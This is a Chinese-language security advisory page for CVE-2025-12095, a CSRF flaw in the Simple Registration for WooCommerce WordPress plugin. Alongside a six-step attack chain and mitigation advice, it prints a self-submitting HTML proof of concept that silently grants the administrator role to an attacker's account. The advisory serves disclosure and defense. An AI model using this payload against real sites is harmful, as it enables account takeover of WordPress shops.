CVE-2025-12095 CVSS 8.8 高危

CVE-2025-12095 Simple Registration for WooCommerce插件CSRF漏洞

披露日期: 2025-10-25

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-12095

漏洞类型

跨站请求伪造（CSRF）

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Simple Registration for WooCommerce插件（WordPress）

漏洞概述

Simple Registration for WooCommerce是一款WordPress插件，用于为WooCommerce商店提供简化的用户注册功能。该插件在1.5.8及以下所有版本中存在严重的跨站请求伪造（CSRF）漏洞。漏洞根源在于插件的includes/display-role-admin.php文件中缺少对角色请求管理页面的nonce验证机制。攻击者可以通过构造恶意链接，诱骗已登录的管理员用户点击，利用该链接未经授权地批准待处理的角色请求，从而实现权限提升。由于该漏洞无需认证即可发起攻击，且攻击复杂度较低，配合高危的CVSS评分（8.8），对使用该插件的WordPress网站构成严重威胁。

技术细节

该漏洞存在于Simple Registration for WooCommerce插件的角色请求管理功能中。具体来说，插件的display-role-admin.php文件（约第132行）在处理管理员审批角色请求的HTTP请求时，未实施足够的CSRF防护措施。攻击者可构造一个包含恶意参数的HTML页面或链接，当管理员访问或点击时，浏览器会自动携带有效的session cookie向目标站点发送请求。攻击者可以借此操作用户的权限分配，将普通用户提升为管理员或其他高权限角色。漏洞利用的成功依赖于管理员在访问恶意链接时处于登录状态，且需要一定的用户交互（如点击链接）。修复方案需要在相关表单和请求处理逻辑中添加WordPress nonce验证机制。

攻击链分析

STEP 1

步骤1

攻击者识别目标网站使用的Simple Registration for WooCommerce插件版本（≤1.5.8）

STEP 2

步骤2

攻击者创建包含恶意表单的HTML页面，表单参数指向目标站点的admin-post.php接口

STEP 3

步骤3

攻击者通过钓鱼邮件、社交工程或其他方式诱骗网站管理员访问恶意页面或点击恶意链接

STEP 4

步骤4

管理员浏览器自动发送携带有效session cookie的POST请求到目标站点

STEP 5

步骤5

插件处理请求时因缺少nonce验证，直接执行角色审批操作，将攻击者指定的账户提升为管理员

STEP 6

步骤6

攻击者使用提升后的权限账户登录后台，执行恶意操作如安装后门、窃取数据等

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2025-12095 -->
<!-- Purpose: Trick admin to approve pending role requests -->
<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="exploit">
    <input type="hidden" name="action" value="srw_approve_role">
    <input type="hidden" name="role_request_id" value="1">
    <input type="hidden" name="user_id" value="ATTACKER_USER_ID">
    <input type="hidden" name="new_role" value="administrator">
    <!-- Security researcher note: Add nonce if required by target version -->
</form>
<script>
    document.getElementById('exploit').submit();
</script>
</body>
</html>

影响范围

Simple Registration for WooCommerce ≤ 1.5.8（所有版本）

防御指南

临时缓解措施

在官方补丁发布之前，可采取以下临时措施：1) 临时禁用或删除Simple Registration for WooCommerce插件；2) 限制管理员账户权限，启用双因素认证；3) 对管理员进行安全意识培训，提醒不要点击未知来源的链接；4) 使用Web应用防火墙（WAF）监控和拦截异常的admin-post.php请求；5) 定期审计管理员账户和权限分配情况。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表